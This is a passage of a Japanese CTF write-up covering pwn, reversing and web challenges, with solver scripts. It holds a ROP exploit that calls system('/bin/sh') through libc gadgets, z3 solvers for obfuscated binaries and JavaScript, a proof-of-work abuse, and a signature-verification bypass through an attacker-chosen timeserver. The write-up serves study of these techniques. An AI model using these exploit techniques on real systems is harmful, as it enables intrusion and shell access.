p.sendlineafter('for hoge: ', 1)
p.sendlineafter('for hoge: ', 1)
p.sendlineafter('ingredient 2: ', 'hoge')
p.sendlineafter('for hoge: ', 1)
p.sendlineafter('for hoge: ', 1)
p.sendlineafter('ingredient 3: ', 'hoge')
p.sendlineafter('for hoge: ', 1)
p.sendlineafter('for hoge: ', 1)
p.sendlineafter('ingredient 4: ', p64(r + 0x1287 - 0x125f) + p64(r))
p.interactive()

do_not_rewrite2 (Normal,183pt, 116solves)

show_flag 関数が消え、代わりにlibcのアドレスが渡されるようになった。ソースコードは省略。
stackの書き換え自体は前回と同様に行えるので、ROPで system("/bin/sh") を呼べば通る。

solve.py(書き換え部分)

r =  int(p.recvlineafter('printf = ').decode(), 16)
libc.base = r - libc.symbol('printf')

... # ここで入力などの処理

system = libc.symbol('system')
pop_rdi = next(libc.gadget('pop rdi; ret'))
sh = next(libc.find('/bin/sh'))
ret = next(libc.gadget('ret'))
p.sendlineafter('ingredient 4: ', p64(pop_rdi) + p64(sh) + p64(ret) + p64(system))
p.interactive()

Reversing

全完。home,threadはチームメイトが解いてくれた(自分は読んですらいない)のでwriteupなし。

lambda (Easy, 128pt, 402solves)

lambda.py

(lambda _0: _0(input))(lambda _1: (lambda _2: _2('Enter the flag: '))(lambda _3: (lambda _4: _4(_1(_3)))(lambda _5: (lambda _6: _6(''.join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))(lambda _10: (lambda _11: _11(''.join))(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17(''.join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))(lambda _21: (lambda _22: _22(''.join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))(lambda _29: (lambda _30: _30(''.join))(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(lambda _37: lambda _38: print(_37, _38)_37 == _38))(lambda _39: (lambda _40: _40(print))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!'))(lambda _53: (lambda _54: _54('Incorrect'))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))))

ラムダ式で難読化されたPythonコード。GPT-4oに丸投げすると以下のコードが得られて、そのまま実行すると解ける。

def main():

    def reverse_transform_flag(transformed_flag):
        # Step 1: XOR each character with 123
        step1 = ''.join(chr(123 ^ ord(c)) for c in transformed_flag)

        # Step 2: Shift characters by +3 positions in the ASCII table
        step2 = ''.join(chr(ord(c) + 3) for c in step1)

        # Step 3: Shift characters by -12 positions in the ASCII table
        original_flag = ''.join(chr(ord(c) - 12) for c in step2)

        return original_flag

    # Example usage:
    correct_transformed_value = '16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'
    correct_flag = ''.join(chr(int(c, 36) + 10) for c in correct_transformed_value.split('_'))

    # Reversing the transformation to get the original flag
    original_flag = reverse_transform_flag(correct_flag)
    print("Original flag:", original_flag)


if __name__ == "__main__":
    main()

gates (Normal, 218pt, 73solves)

バイナリが与えられるオーソドックスなReversing問。
とりあえずGhidraで読んで気合でコードを解読すると、以下のような処理になっていることが分かる。

struct State{         
  int typ;           
  int idx1;          
  int idx2;           
  bool flag;           
  unsigned char value; 
};

struct State states[256]; // global領域にあり、謎の値で初期化されている
unsigned char correct[256]; // これも初期化済

void func(){
  for(int i = 0; i < 256; ++i){
    int typ = states[i].typ;
    int idx1 = states[i].idx1;
    int idx2 = states[i].idx2;
    if (states[idx1].flag && states[idx2].flag) {
      x = states[idx1].value;
      y = states[idx2].value;
      if(typ == 3){
        states[i].flag = true;
        states[i].value = x ^ y;
      }
      if(typ == 1 || typ == 2){
        states[i].flag = true;
        states[i].value = x + y;
      }
      if(typ == 4){
        states[i].flag = true;
        states[i].value = y;
      }
    }
  }
}

bool solve(){

  for(int i = 0; i < 32; ++i){
    char chr = getc(stdin);
    states[i].flag = 1
    states[i].value = chr;
  }

  for(int i = 0; i < 256; ++i){
    func();
  }

  bool correct = true;
  for(int i = 256 - 32; i < 256; ++i){
    correct &= (correct[i] != state[i].value);
  }

  return correct;
}

func() の中では states[i].typ != 0 であるような各 states[i] に対し、 states[states[i].idx1]states[states[i].idx2]flagvalue の値を参照しながら states[i].flagstates[i].value を更新している。typ, idx1, idx2 は既に初期化されており、操作によって更新されることはない。
solve() がtrueを返すような入力がフラグなはずなのでこれを求めたいが、func が256回も呼び出される上、その中でさらに256回の状態変更が行われているため、各段階での内部状態の数は 105 を超え、z3による単純な求解はなんとなく難しそう。
ここで、内部状態がどうなっているかを確認すると、max(states[i].idx1, states[i].idx2) < i が成り立っていること、つまり依存関係がDAGになっていることが分かる。 また、一度実際に動かして256回目の操作終了後の flag を確認すると、flag が全てtrueになっていることも分かる。つまり、最後の操作では flag の値は無視して良い。
したがって、最初の255回の操作は最終的な状態に影響を及ぼさず、最後の操作だけを i の昇順にシミュレートすればよい。
ここまで分かれば簡単で、256個ある value を8bit整数としてz3のBitVecで管理し、SMTで定式化してソルバに投げればフラグが求まる。

solve.py

dat = b'\x00\x00...'

correct = b'\x3b\x09\xe5\xae\x3e\xf1\x37\x81\xfc\xa1\x99\xae\xf7\x62\x7d\xf7\xd0\xcb\xa2\x18\xcd\x3e\x89\x0d\xd9\xdd\x62\x29\x8c\xf3\x01\xec'

from Crypto.Util.number import long_to_bytes, bytes_to_long

class State:
    def __init__(self, b) -> None:
        self.typ = b[0]
        self.idx1 = b[4]
        self.idx2 = b[8]
        self.flag = b[12]
        self.value = b[13]

for i in range(len(dat)):
    if dat[i] and i % 16 == 0:
        mod = i % 16
        assert mod == 0 or mod == 4 or mod == 8 or mod == 12 or mod == 13

states = []
for i in range(256):
    states.append(State(dat[i*16:(i+1)*16]))

# DAGになっていることを確認
for i, state in enumerate(states):
    if state.typ != 0:
        print(i, state.typ, state.idx1, state.idx2, states[state.idx1].typ, states[state.idx2].typ)

from z3 import *

expr = []

for i in range(32):
    states[i].flag = 1

# flagの伝播確認(最終的には全て1になる)
for j in range(256):
    for i in range(256):
        state = states[i]
        typ = state.typ
        idx1 = state.idx1
        idx2 = state.idx2
        if state.typ != 0 and states[idx1].flag and states[idx2].flag:
            state.flag = 1
for i in range(256):
    print(i, states[i].flag)

res = []
for i in range(256):
    state = states[i]
    typ = state.typ
    idx1 = state.idx1
    idx2 = state.idx2
    if i < 32:
        state.value = BitVec(f'value_{i}', 8)
        res.append(state.value)
        state.flag = 1
    elif state.typ != 0:
        state.value = None
    if state.typ != 0 and states[idx1].flag and states[idx2].flag:
        x = states[idx1].value
        y = states[idx2].value
        state.flag = 1
        state.value = BitVec(f'value_{i}', 8)
        if typ == 3:
            expr.append(state.value == x ^ y)
        if typ == 1 or typ == 2:
            expr.append(state.value == x + y)
        if typ == 4:
            expr.append(state.value == y)
for i in range(32):
    expr.append(states[256 - 32 + i].value == correct[i])

s = Solver()
s.add(expr)
assert s.check() == sat
m = s.model()

for r in res:
    print(chr(m[r].as_long()), end='')

promise (Very Hard, 373pt, 15solves)

JavaScriptのプログラムとそれを呼ぶだけのHTMLが与えられる。JSのコードはこんな感じ(一部抜粋)。

(async()=>{await new Promise((VXzWAkPODJDoQpyz=>{let yJpYftBCPjwGmzAd=0;HEdWLgBlYWhTxmBQ=new Promise((WNRMgnBCfwgabWRJ=>{eQXZhHVpfElEktxA=WNRMgnBCfwgabWRJ;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));PntfpUqIwjyxYedb=new Promise((NlJLhaGEQckfNYzV=>{NoGimTaIHjCkdZCg=NlJLhaGEQckfNYzV;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));dUSYjPzLVKcCIPkY=new Promise((CjQKbqfrXQshKzPY=>{yEETSHPVYbGjZBJZ=CjQKbqfrXQshKzPY;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));rKeXgPFlZdvFESNH=new Promise((uMuwGTbjpMJpSHXZ=>{lyuVqKkBvZkOChvx=uMuwGTbjpMJpSHXZ;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));QbOvkHmanZrYGrGZ=new Promise...
(async()=>ngfZgiaaaESLGgqB(await ijQEFdNmDLcENEoL<await iwGjXXOakkkdQKqQ?await ijQEFdNmDLcENEoL:await iwGjXXOakkkdQKqQ))();(async()=>MJaeiUwATiwGtgma(await JkGkHylFLUgIvILf<await rLLITMdjAgMxFDwp?await JkGkHylFLUgIvILf:await rLLITMdjAgMxFDwp))();(async()=>dEJqEDXPCXwUhVzs(await etcOhKJDtzxhZlIq<await rOUIUpUHHytTLvcr?await etcOhKJDtzxhZlIq:await rOUIUpUHHytTLvcr))();(async()=>CppYJWvEtBsryWhe(await vMCwNkvqiJmXhnvM<await DMYQXYCdGiNbxHuV?await vMCwNkvqiJmXhnvM:await DMYQXYCdGiNbxHuV))();(async()=>VzSmImbZFwIZtYOu(await aZnjyQOyrpUuyOWU<await mPxvgaFAMbcQrJAq?await aZnjyQOyrpUuyOWU:await mPxvgaFAMbcQrJAq))();(async()=>BMrSIwmIKJWJNeHG(await iqaCagbGWKoJTvmK>>1n))();(async()=>NZYLJYSIdOCBfqjN(await asmIeuoTFhcaSADt<await rftRhqRSLkgrrOpo?await asmIeuoTFhcaSADt:await rftRhqRSLkgrrOpo))();(async()=>IFuUWWdfqLknsuuC(await TVmRIvZwKMOLtDOq&1n))()})();

まず、大量に出てくる同名の変数を書き換えて適宜セミコロンで改行してみる。すると、以下のような2種のパートに処理が分かれていることが分かる。

(async()=>{await new Promise((callback=>{
let counter=0;

// パート1: Promise
HEdWLgBlYWhTxmBQ=new Promise((WNRMgnBCfwgabWRJ=>{eQXZhHVpfElEktxA=WNRMgnBCfwgabWRJ;
counter++;
if(counter===25e3)callback()}));
PntfpUqIwjyxYedb=new Promise((NlJLhaGEQckfNYzV=>{NoGimTaIHjCkdZCg=NlJLhaGEQckfNYzV;
counter++;
if(counter===25e3)callback()}));
dUSYjPzLVKcCIPkY=new Promise((CjQKbqfrXQshKzPY=>{yEETSHPVYbGjZBJZ=CjQKbqfrXQshKzPY;
counter++;
if(counter===25e3)callback()}));
...
// パート2: async/await
(async()=>rDOfBdQJLrFCikbd(await UBUNxdCKPIqxUydC<await ursrWcncFtniitgy?await UBUNxdCKPIqxUydC:await ursrWcncFtniitgy))();
(async()=>OiOoUHBELVhZFRKQ(await peOGDlBrrzmoDCJE&1n))();
(async()=>phEpEumAgcJNkIwE(await VQmwHvznDCylXpoG&1n))();
(async()=>llOKIMMnzUannwXQ(await FrBrMiUrmAlbQnkB<await oRyvRbvMhXXjEKhj?await oRyvRbvMhXXjEKhj:await FrBrMiUrmAlbQnkB))();
(async()=>eSEwwSdWNYWLmypn(await EQsEDTvtOkPsQnJQ&1n))();
(async()=>AvPzoCQYQeIFJulb(await ldTkYnFzdbXZhhJq>>1n))();
(async()=>KEExnmQzRozyJmKQ(await XhbYjuUkDOTBbycn&BigInt(!await aMLVPGBRPgLeiHsM)))();
(async()=>hzRdOvLHIRqQIRee(await fZSIwbArkgVdQjuu))();
...

実際に実行してみると、入力ボックスが32回表示されたあとに wrong という文字列が出力された。 wrong で検索をかけると、以下のような行がヒットする。

(async()=>{await GRyibuMaolVUVMTH?alert("correct"):alert("wrong")})();

ここから推測すると、おそらく GRyibuMaolVUVMTH が(これ自体が関数なのか変数なのかはよく知らないが)色々な処理を経て何らかの値になっており、それがtrueか1か、とにかくそんな感じの値になってくれるように入力を与えれば良いのだろうと判断できる。
入力ボックスが出ているということはその処理もあるはず。JavaScriptの入力ボックスは prompt() で表示されるようなのでこれも検索をかけてみると、以下のような行がちょうど32個ヒットした。

(async()=>yeFrLpumXRwKksSh(lbarHjWBfcaCFsrw++*173n+BigInt((console.log("yeFrLpumXRwKksSh")||prompt()||"").charCodeAt()||0)))();

lbarHjWBfcaCFsrw は共通の変数で、入力文字数のカウンタとなっているようだ。prompt() で入力を受け取り、文字コードに変換してindexとかけた後に yeFrLpumXRwKksSh のような謎の関数(?)に渡しているらしい。

なんとなくの流れは掴めたので、あとは気合でどうにかする。 まず、パート1の処理は A=new Promise((B=>{C=B;... のような形式となっている。 これはおそらく、Aが呼ばれた際の返り値(なのか変数なのかよく分からないが)がCになる、つまり A=C ということだと思う。
次にパート2の処理。これはいくつか種類があるが、例えば (async()=>A(await C<await B?await D:await E))();A=C<B?D:E という処理とほぼ等価だと思って間違いないし、(async()=>A(await B&1n))();A=B&1 を表していると思っていいだろう。
パート2の処理をいくつかに分類すると、ごく一部の例外を除いて「代入」「if文」「1とのand」「1回の右シフト」「2変数のand」「2変数のnand」の6種の処理で構成されることが分かった。 例外は「prompt() による入力」「correct/wrongの出力」「定数1のreturn」の3種。入力は32個、出力処理と定数returnはそれぞれ1個しか存在しなかった。

ここまで分かれば処理を分かりやすい形に書き直すことができる。
整形したpromise.jsの各行を気合でパースし、各シンボル(変数?)がどのシンボルの計算結果を必要としており、それらをどう処理しているかをまとめる。 次に、symbol を評価した値を返す関数 rec(symbol) を用意し、rec(symbol) 内では必要に応じて再帰処理を行う。各シンボルの処理結果は毎回の呼び出しで不変なので、高速化のために適宜メモ化しておく。
こうすると、rec(GRyibuMaolVUVMTH) の結果がそのまま元のプログラムの結果と一致するようになる。

この後は rec(GRyibuMaolVUVMTH) が1になってくれるような入力を見つければよい。これは先ほどの rec 処理を流用してSMTの制約式を作るようにすればz3で求められる。
JSのコード内でBigIntを使っていることもあり各変数の値域(BitVecのビット幅)の見積りが難しいが、処理一覧には加算やbitwise orは存在しないので、入力の値のmaxがそのまま全変数の取られうる値のmaxになる。 これを計算すると 173*31+128=5664 になるので、適当に余裕をもって各変数16bitで処理を行うことにした。
適当に解くと複数個の解が出てきてしまい少し困ったが、出力を FLAG{***} の形になるように固定し、各文字がvalidなものになるように制限をかけると数秒で解が求まった。
出力にフラグとしてinvalidな文字が含まれていて困ったが、これは作問側のミスらしい。

solve.py

from z3 import *
import re
import sys

sys.setrecursionlimit(100000000)

with open('promise2.js', 'r') as f: # 整形しておいたjsコード
    content = f.readlines()

with open('order.txt', 'r') as f: # 事前に確認しておいた入力順
    in_symbols = list(map(lambda x: x.strip(), f.readlines()))

pat = re.escape('GRyibuMaolVUVMTH=new Promise((RuokTNmGFoXXInGN=>{IhbVuMQIiBuPygDt=RuokTNmGFoXXInGN;')
pat = pat.replace('GRyibuMaolVUVMTH', '(\w+)')
pat = pat.replace('RuokTNmGFoXXInGN', '(\w+)')
pat = pat.replace('IhbVuMQIiBuPygDt', '(\w+)')
ac = re.compile(pat)

pat = re.escape('(async()=>VzSmImbZFwIZtYOu(await aZnjyQOyrpUuyOWU<await mPxvgaFAMbcQrJAq?await aZnjyQOyrpUuyOWU:await mPxvgaFAMbcQrJAq))();')
pat = pat.replace('VzSmImbZFwIZtYOu', '(\w+)')
pat = pat.replace('aZnjyQOyrpUuyOWU', '(\w+)')
pat = pat.replace('mPxvgaFAMbcQrJAq', '(\w+)')
ac2 = re.compile(pat)

pat = re.escape('(async()=>bdVjfxlHqOSWIpIA(await iVBzIvkLvVkZbcFe&1n))();')
pat = pat.replace('bdVjfxlHqOSWIpIA', '(\w+)')
pat = pat.replace('iVBzIvkLvVkZbcFe', '(\w+)')
ac3 = re.compile(pat)

pat = re.escape('(async()=>bdVjfxlHqOSWIpIA(await iVBzIvkLvVkZbcFe>>1n))();')
pat = pat.replace('bdVjfxlHqOSWIpIA', '(\w+)')
pat = pat.replace('iVBzIvkLvVkZbcFe', '(\w+)')
ac4 = re.compile(pat)

pat = re.escape('(async()=>ippPSePRdqboGHAa(await HEKiVABNCCUiZVim&BigInt(!await wCVZbExSLxIKtvLK)))();')
pat = pat.replace('ippPSePRdqboGHAa', '(\w+)')
pat = pat.replace('HEKiVABNCCUiZVim', '(\w+)')
pat = pat.replace('wCVZbExSLxIKtvLK', '(\w+)')
ac5 = re.compile(pat)

pat = re.escape('(async()=>URhIdrIdvxybRSmp(await BdFpXYwbMNQKHApd))();')
pat = pat.replace('URhIdrIdvxybRSmp', '(\w+)')
pat = pat.replace('BdFpXYwbMNQKHApd', '(\w+)')
ac6 = re.compile(pat)

pat = re.escape('(async()=>ajGMXMEenAhlzdtb(await zhPQJfVORDbwozhU&BigInt(await TDeggLCAtGoIzldR)))();')
pat = pat.replace('ajGMXMEenAhlzdtb', '(\w+)')
pat = pat.replace('zhPQJfVORDbwozhU', '(\w+)')
pat = pat.replace('TDeggLCAtGoIzldR', '(\w+)')
ac7 = re.compile(pat)

ty1_dict = {}
if_dict = {}
and_dict = {}
rshift_dict = {}
and2_dict = {}
nand2_dict = {}
eq_dict = {}
const_1 = 'zjZPUvMwnxVomTwi'

for i, l in enumerate(content):
    if ac.match(l):
        var = l[:16]
        unused = l[30:46]
        src = l[49:65]
        ty1_dict[var] = src
        assert var != src
    elif ac2.match(l):
        var = l[10:26]
        left = l[33:49]
        right = l[56:72]
        true = l[79:95]
        false = l[102:118]
        assert var != left
        assert var != right
        assert var != true
        assert var != false
        if_dict[var] = (left, right, true, false)
    elif ac3.match(l):
        var = l[10:26]
        src = l[33:49]
        assert var != src
        and_dict[var] = src
    elif ac4.match(l):
        var = l[10:26]
        src = l[33:49]
        assert var != src
        rshift_dict[var] = src
    elif ac5.match(l):
        var = l[10:26]
        op1 = l[33:49]
        op2 = l[64:80]
        assert var != op1
        assert var != op2
        nand2_dict[var] = (op1, op2)
    elif ac6.match(l):
        var = l[10:26]
        src = l[33:49]
        assert var != src
        eq_dict[var] = src
    elif ac7.match(l):
        var = l[10:26]
        op1 = l[33:49]
        op2 = l[63:79]
        assert var != op1
        assert var != op2
        and2_dict[var] = (op1, op2)
    # elif i >= 75000:
        # print(l)
entry = 'GRyibuMaolVUVMTH'

symbols = {}

exprs = []


M = 16

bv1 = BitVec('bv1', M)
bv0 = BitVec('bv0', M)

exprs.append(bv1 == 1)
exprs.append(bv0 == 0)
res = [None for i in range(32)]
def rec(key):
    if key in symbols:
        return symbols[key]
    elif key in in_symbols:
        idx = in_symbols.index(key)
        ch = BitVec(f'chr_{idx}', M)
        res[idx] = ch
        exprs.append(ch < 128)
        exprs.append(0x20 <= ch)
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == 173 * idx + ch)
    elif key in ty1_dict:
        src = ty1_dict[key]
        symbols[key] = rec(src)
    elif key in if_dict:
        l, r, true, false = if_dict[key]
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == If(rec(l) < rec(r), rec(true), rec(false)))
    elif key in and_dict:
        src = and_dict[key]
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == rec(src) & 1)
    elif key in rshift_dict:
        src = rshift_dict[key]
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == rec(src) >> 1)
    elif key in and2_dict:
        op1, op2 = and2_dict[key]
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == rec(op1) & rec(op2))
    elif key in nand2_dict:
        op1, op2 = nand2_dict[key]
        symbols[key] = BitVec(key, M)
        exprs.append(symbols[key] == rec(op1) & If(rec(op2) == 0, bv1, bv0))
    elif key in eq_dict:
        src = eq_dict[key]
        symbols[key] = rec(src)
    elif key == const_1:
        symbols[key] = bv1
    else:
        print('undefined:', key)
    return symbols[key]

rec(entry)

exprs.append(symbols[entry] == 1)

exprs.append(res[0] == ord('F'))
exprs.append(res[1] == ord('L'))
exprs.append(res[2] == ord('A'))
exprs.append(res[3] == ord('G'))
exprs.append(res[4] == ord('{'))
exprs.append(res[-1] == ord('}'))

s = Solver()
s.add(exprs)
print(s.check())
m = s.model()
for c in res:
    print(chr(m[c].as_long()), end='')
print()

Web

4/6を解いた。自力で解いたのは3問で、Noscriptは詰まったところをDiscordに書いたらチームメイトが解いてくれた。

Bad_Worker (Beginner, 120pt, 569solves)

ソースコードが無いWeb問。よく分からなかったが、デベロッパーツールでSourcesやNetworkを眺めているとどうやらリクエストの中身が途中で変わっているっぽい(?よく覚えてない)ことに気づいたので curl で投げると通った。

pow (Easy, 143pt, 250solves)

これもソースコードなし。動作画面はこんな感じ。

とりあえずソースを見てみると、以下のような関数が動いていることが分かった。

       function hash(input) {
        let result = input;
        for (let i = 0; i < 10; i++) {
          result = CryptoJS.SHA256(result);
        }
        return (result.words[0] & 0xFFFFFF00) === 0;
      }
      async function send(array) {
        document.getElementById("server-response").innerText = await fetch(
          "/api/pow",
          {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
            },
            body: JSON.stringify(array),
          }
        ).then((r) => r.text());
      }
      let i = BigInt(localStorage.getItem("pow_progress") || "0");
      async function main() {
        await send([]);
        async function loop() {
          document.getElementById(
            "client-status"
          ).innerText = `Checking ${i.toString()}...`;
          localStorage.setItem("pow_progress", i.toString());
          for (let j = 0; j < 1000; j++) {
            i++;
            if (hash(i.toString())) {
              await send([i.toString()]);
            }
          }
          requestAnimationFrame(loop);
        }
        loop();
      }
      main();

SHA256を全探索でひたすら計算して、特定の条件を満たすものがあればsendしているらしい。
しばらく待つと、Server responseが progress: 1 / 1000000 に変わっていた。条件を満たす数字を [ "150" ] みたいに配列に入れて送ると progress が増えるようだ。 試しに手元で適当な値を送ると弾かれてしまうが、さっき送信されていた要素を再送するとprogressがまた増えた。
100万回ペイロードを投げれば通りそうだが流石に怒られてしまうので、他の方法を考える。数字がなぜか配列に入っているのが明らかにおかしくて、試しに配列に条件を満たす数字を100個入れて送るとprogressが100増えた。 配列長分だけprogressが増えるようなので、適当に9万個ぐらいの数字を送るのを繰り返すとフラグが得られた。

One Day One Letter (Normal, 190pt, 105solves)

server.py (contentserver)

import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin

from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
assert len(FLAG_CONTENT) == 12
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)

def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))             # server/pubkeyにgetを投げる
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)

def get_flag_hint_from_timestamp(timestamp: int):
    content = ['?'] * 12
    idx = timestamp // (60*60*24) % 12
    content[idx] = FLAG_CONTENT[idx]
    return 'FLAG{' + ''.join(content) + '}'

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_OPTIONS(self):
        self.send_response(200, "ok")
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
        self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.end_headers()

    def do_POST(self):
        try:
            nbytes = int(self.headers.get('content-length'))
            body = json.loads(self.rfile.read(nbytes).decode('utf-8'))

            timestamp = body['timestamp'].encode('utf-8')
            signature = bytes.fromhex(body['signature'])
            timeserver = body['timeserver']

            pubkey = get_pubkey_of_timeserver(timeserver)                # pubkeyを取る
            h = SHA256.new(timestamp)
            verifier = DSS.new(pubkey, 'fips-186-3')
            verifier.verify(h, signature)                                # pubkey, timestamp, signatureで検証
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            dt = datetime.fromtimestamp(int(timestamp))                  # timestampの日付 mod 12で1文字leak
            res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
            self.wfile.write(res_body.encode('utf-8'))
            print('OK')
            self.requestline
        except Exception:
            print('Exception')
            self.send_response(HTTPStatus.UNAUTHORIZED)
            self.end_headers()

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)
httpd.serve_forever()

server.py (timeserver)

from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamp = str(int(time.time())).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()

contentserverとtimeserverという2つのサーバーがあり、timeserverで発行されたjsonに載っているtimestampの日付をもとに、FLAGのうち1文字が開示される。
大事なのは署名を確認するtimeseverのURLをjson側で指定できること。つまり、自前でtimeserverを建てて、発行したjsonのtimeserverを自前のものに設定してしまえば、問題サーバー側のtimeserverを一切経由せずにやりとりが可能になる。
あとは自前のtimeserverで生成するtimestampの値を適当に弄れば、フラグの文字数分だけリクエストを投げることでフラグが特定できる。 https通信ができるサーバーを自前で建てるのは流石に面倒なので localtunnel を使った。

Noscript (Normal, 202pt, 89solves)

main.go

package main

import (
    "context"
    "fmt"
    "html/template"
    "net/http"
    "os"
    "regexp"
    "sync"

    "github.com/gin-gonic/gin"
    "github.com/google/uuid"
    "github.com/redis/go-redis/v9"
)

type InMemoryDB struct {
    data map[string][2]string
    mu   sync.RWMutex
}

func NewInMemoryDB() *InMemoryDB {
    return &InMemoryDB{
        data: make(map[string][2]string),
    }
}

func (db *InMemoryDB) Set(key, value1, value2 string) {
    db.mu.Lock()
    defer db.mu.Unlock()
    db.data[key] = [2]string{value1, value2}
}

func (db *InMemoryDB) Get(key string) ([2]string, bool) {
    db.mu.RLock()
    defer db.mu.RUnlock()
    vals, exists := db.data[key]
    return vals, exists
}

func (db *InMemoryDB) Delete(key string) {
    db.mu.Lock()
    defer db.mu.Unlock()
    delete(db.data, key)
}

func main() {
    ctx := context.Background()

    db := NewInMemoryDB()

    redisAddr := fmt.Sprintf("%s:%s", os.Getenv("REDIS_HOST"), os.Getenv("REDIS_PORT"))
    redisClient := redis.NewClient(&redis.Options{
        Addr: redisAddr,
    })

    r := gin.Default()
    r.LoadHTMLGlob("templates/*")

    // Home page
    r.GET("/", func(c *gin.Context) {
        c.HTML(http.StatusOK, "index.html", gin.H{
            "title": "Noscript!",
        })
    })

    // Sign in
    r.POST("/signin", func(c *gin.Context) {
        id := uuid.New().String()
        db.Set(id, "test user", "test profile")
        c.Redirect(http.StatusMovedPermanently, "/user/"+id)
    })

    // Get user profiles
    r.GET("/user/:id", func(c *gin.Context) {
        c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
        id := c.Param("id")
        re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
        if re.MatchString(id) {
            if val, ok := db.Get(id); ok {
                params := map[string]interface{}{
                    "id":       id,
                    "username": val[0],
                    "profile":  template.HTML(val[1]),
                }
                c.HTML(http.StatusOK, "user.html", params)
            } else {
                _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
            }
        } else {
            _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
        }
    })

    // Modify user profiles
    r.POST("/user/:id/", func(c *gin.Context) {
        id := c.Param("id")
        re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
        if re.MatchString(id) {
            if _, ok := db.Get(id); ok {
                username := c.PostForm("username")
                profile := c.PostForm("profile")
                db.Delete(id)
                db.Set(id, username, profile)
                if _, ok := db.Get(id); ok {
                    c.Redirect(http.StatusMovedPermanently, "/user/"+id)
                } else {
                    _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
                }
            } else {
                _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
            }
        } else {
            _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
        }
    })

    // Get username API
    r.GET("/username/:id", func(c *gin.Context) {
        id := c.Param("id")
